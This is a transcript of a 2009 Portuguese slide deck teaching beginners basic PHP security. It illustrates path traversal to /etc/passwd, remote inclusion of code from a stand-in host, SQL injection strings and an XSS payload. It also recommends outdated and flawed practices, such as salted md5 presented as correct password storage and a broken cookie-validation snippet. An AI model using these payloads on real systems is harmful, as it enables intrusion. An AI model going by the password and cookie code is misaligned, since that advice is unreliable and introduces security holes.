hello safe world!!!
DESCRIPTION
Palestra ministrada na ULBRA Canoas em 2009, focando em "conceitos mínimos de segurança em PHP".TRANSCRIPT
![Page 1: Hello SAFE World!!!](https://reader030.vdocuments.mx/reader030/viewer/2022020115/54835b7ab4af9f9b0d8b4a1f/html5/thumbnails/1.jpg)
Hello SAFE World!!!
Conceitos mínimos de segurança em PHP
Dalmir da [email protected]
Everaldo Wanderlei Uavniczak
![Page 2: Hello SAFE World!!!](https://reader030.vdocuments.mx/reader030/viewer/2022020115/54835b7ab4af9f9b0d8b4a1f/html5/thumbnails/2.jpg)
Sobre a apresentação
Nível: Iniciante Escopo: Básico de segurança em Web, direcionado a PHP Pré-requisitos: Nenhum
![Page 3: Hello SAFE World!!!](https://reader030.vdocuments.mx/reader030/viewer/2022020115/54835b7ab4af9f9b0d8b4a1f/html5/thumbnails/3.jpg)
Vantagens do PHP
fácil aprendizado
tipagem dinâmica (fraca)
é uma linguagem interpretada
![Page 4: Hello SAFE World!!!](https://reader030.vdocuments.mx/reader030/viewer/2022020115/54835b7ab4af9f9b0d8b4a1f/html5/thumbnails/4.jpg)
Desvantagens do PHP
tipagem dinâmica
inicialização automática de variáveis
configurações padrão não priorizam a segurança
![Page 5: Hello SAFE World!!!](https://reader030.vdocuments.mx/reader030/viewer/2022020115/54835b7ab4af9f9b0d8b4a1f/html5/thumbnails/5.jpg)
A função error_reporting()
Define quais erros serão reportados Aconselhado em Desenvolvimento:error_reporting(E_ALL|E_STRICT); // 6143ou error_reporting(2147483647);Aconselhado em Produçãoerror_reporting(0); Veja php.net/error_reporting
![Page 6: Hello SAFE World!!!](https://reader030.vdocuments.mx/reader030/viewer/2022020115/54835b7ab4af9f9b0d8b4a1f/html5/thumbnails/6.jpg)
Reforçando: error_reporting
CRIEM O HÁBITODE USAR A FUNÇÃO
error_reporting()NO INÍCIO DO SCRIPT PHP
![Page 7: Hello SAFE World!!!](https://reader030.vdocuments.mx/reader030/viewer/2022020115/54835b7ab4af9f9b0d8b4a1f/html5/thumbnails/7.jpg)
Castingintval()floatval()strval() (int), (integer) - molde para inteiro (bool), (boolean) - converte para booleano (float), (double), (real) para número de ponto flutuante (string) - converte para string (binary) - converte para string binária (PHP 6) (array) - converte para array (object) - converte para objeto (unset) - converte para NULL (PHP 5)
settype (&$var , $type )
![Page 8: Hello SAFE World!!!](https://reader030.vdocuments.mx/reader030/viewer/2022020115/54835b7ab4af9f9b0d8b4a1f/html5/thumbnails/8.jpg)
Verifique o tipo da variável
is_int()is_float()is_numeric()is_string()is_escalar () // int, float, string, boolis_resource()is_object()is_numeric()is_null()is_array()is_bool
gettype()
![Page 9: Hello SAFE World!!!](https://reader030.vdocuments.mx/reader030/viewer/2022020115/54835b7ab4af9f9b0d8b4a1f/html5/thumbnails/9.jpg)
Register Globals
PadrãoPHP < 4.2.0: truePHP >= 4.2.0: falsePHP 6: false (diretiva removida)Maioria dos servidores web = true
http://testepeste.com/index.php?teste=boooif TRUE:$teste = 'booo';$_GET['teste'] = 'booo';
if FALSE$_GET['teste'] = 'booo';$teste = ??? ; // variável não setada
![Page 10: Hello SAFE World!!!](https://reader030.vdocuments.mx/reader030/viewer/2022020115/54835b7ab4af9f9b0d8b4a1f/html5/thumbnails/10.jpg)
Registe Globals - Problemas
http://testepeste.com/?autorizado=true<?phpif (usuario_autenticado()){$autorizado = true;}if ($autorizado){include '/dados/altamente/sensiveis.php';}http://testepeste.com/?arquivo=../../etc/passwd<?phpinclude "meus_script/$arquivo";
![Page 11: Hello SAFE World!!!](https://reader030.vdocuments.mx/reader030/viewer/2022020115/54835b7ab4af9f9b0d8b4a1f/html5/thumbnails/11.jpg)
Incluindo arquivos
include() e include_once()require() e require_once()readfile()
Arquivos que precisam de processamento PHPrequire($file); if ( file_exists($file) ) { include($file);} else { // tratamento de erro}Arquivos que não precisam de processamento PHPreadfile($file);
![Page 12: Hello SAFE World!!!](https://reader030.vdocuments.mx/reader030/viewer/2022020115/54835b7ab4af9f9b0d8b4a1f/html5/thumbnails/12.jpg)
allow_url_include
Padrão na maioria dos servidores weballow_url_include = 'off'<?phpinclude($_GET['file']);
http://testepeste.com/include.php?file=teste.php http://testepeste.com/include.php?file=http://hell.com/hahaha.txt
![Page 13: Hello SAFE World!!!](https://reader030.vdocuments.mx/reader030/viewer/2022020115/54835b7ab4af9f9b0d8b4a1f/html5/thumbnails/13.jpg)
Pseudo-Casting
Nome de Arquivos$f=eregi_replace('[^a-zA-Z0-9_-]', '', $f);
CEP$cep = eregi_replace('[^0-9-]', '', $cep);
Data de Nascimento$dn = eregi_replace('[^0-9\/]', '', $dn);
![Page 14: Hello SAFE World!!!](https://reader030.vdocuments.mx/reader030/viewer/2022020115/54835b7ab4af9f9b0d8b4a1f/html5/thumbnails/14.jpg)
Criptografia de senhas
Errado:
$senha = md5($senha);
Certo:
$privatekey = 'dfmlkashfdkjahbiHIUT*&gjvhsdsva87%RgGYR'; $senha=md5($privatekey.$senha.$privatekey);
![Page 15: Hello SAFE World!!!](https://reader030.vdocuments.mx/reader030/viewer/2022020115/54835b7ab4af9f9b0d8b4a1f/html5/thumbnails/15.jpg)
SQL Injectionhttp://testepeste.com?relatorio.php?nome=NomeSELECT * FROM `user` WHERE nome='Nome' http://testepeste.com?relatorio.php?nome=' or 1 SELECT * FROM `user` WHERE nome=' ' or 1 -----------------------------------------------http://testepeste.com?auth.php?login=admin&passwd=123SELECT * FROM `user` WHERE login='admin' AND passwd='123'http://testepeste.com?auth.php?login=admin'#&passwd=SELECT * FROM `user` WHERE login='admin'#' AND passwd=-------------------------------------------------------Se magic_quotes_gpc estiver on pode duplicar as barras, entao use uma funcaofunction my_escape_strings( $string ) { if ( !get_magic_quotes_gpc() ) return mysql_escape_string( $string ); else return $string;}
![Page 16: Hello SAFE World!!!](https://reader030.vdocuments.mx/reader030/viewer/2022020115/54835b7ab4af9f9b0d8b4a1f/html5/thumbnails/16.jpg)
XSS - Cross-Site ScriptingConsiste em Inserir conteúdo em HTML e JS no banco de dados ou na página que quando exibidos fazem algo
htmlentities() htmlspecialchars() //substitui
& (ampersand) torna-se '&' " (aspas dupla) torna-se '"'' (aspas simples) torna-se ''' < (menor que) torna-se '<' > (maior que) torna-se '>'
strip_tags() //remove <p onmouseover='alert(1)'>algo</p> ficaria paenas algo
![Page 17: Hello SAFE World!!!](https://reader030.vdocuments.mx/reader030/viewer/2022020115/54835b7ab4af9f9b0d8b4a1f/html5/thumbnails/17.jpg)
Arquivo de Senha
SEMPRE FORA DA ÁRVORE WEB
Exemplo: /index.php/funcoes.php/outros_milhares_de_arquivos.php ../xyz_super_secret_pass.php
![Page 18: Hello SAFE World!!!](https://reader030.vdocuments.mx/reader030/viewer/2022020115/54835b7ab4af9f9b0d8b4a1f/html5/thumbnails/18.jpg)
Extensão dos arquivos .php
SEMPRE USEM EXTENSÕES .php
JAMAIS USEM .inc
SE PRECISAREM, USEM .inc.php
.inc nao é interpretado como .php, óbvio
![Page 19: Hello SAFE World!!!](https://reader030.vdocuments.mx/reader030/viewer/2022020115/54835b7ab4af9f9b0d8b4a1f/html5/thumbnails/19.jpg)
SESSION
session_start();session_regenerate_id(true);Ao registrar a sessão, grave o IP e verifique se ele mudou
if (!isset($_SESSION['ip'])) { $_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];} if ($_SESSION['ip'] !== $_SERVER['REMOTE_ADDR']) { session_destroy(); die('alguma mensagem');}
![Page 20: Hello SAFE World!!!](https://reader030.vdocuments.mx/reader030/viewer/2022020115/54835b7ab4af9f9b0d8b4a1f/html5/thumbnails/20.jpg)
COOKIE
Nunca salve somente o ID no cookie:Exemplo: cookie="100" Use algo como $cookie="100:7559e8cf919ecac5f918383ea07618b7"sendo $private_key = "djklHIU6*&%fytarsd76F67Gy7"; $validate = $_SERVER['REMOTE_ADDRESS'].$id.$privatekey; $cookie = "$id:$validate";
![Page 21: Hello SAFE World!!!](https://reader030.vdocuments.mx/reader030/viewer/2022020115/54835b7ab4af9f9b0d8b4a1f/html5/thumbnails/21.jpg)
Impeça acesso direto ao arquivo
Use constatante para controle:
// arquivo index.phpdefine ("TESTEPESTE_SECURITY", true);// arquivos incluídosif (!defined('TESTEPESTE_SECURITY')) { die ('Você não pode acessar esse arquivo diretamente') ;}// continua o script
![Page 22: Hello SAFE World!!!](https://reader030.vdocuments.mx/reader030/viewer/2022020115/54835b7ab4af9f9b0d8b4a1f/html5/thumbnails/22.jpg)
Referência
http://shiflett.org/php-security.pdfhttp://php.net/http://phpsec.org/php-security-guide.pdf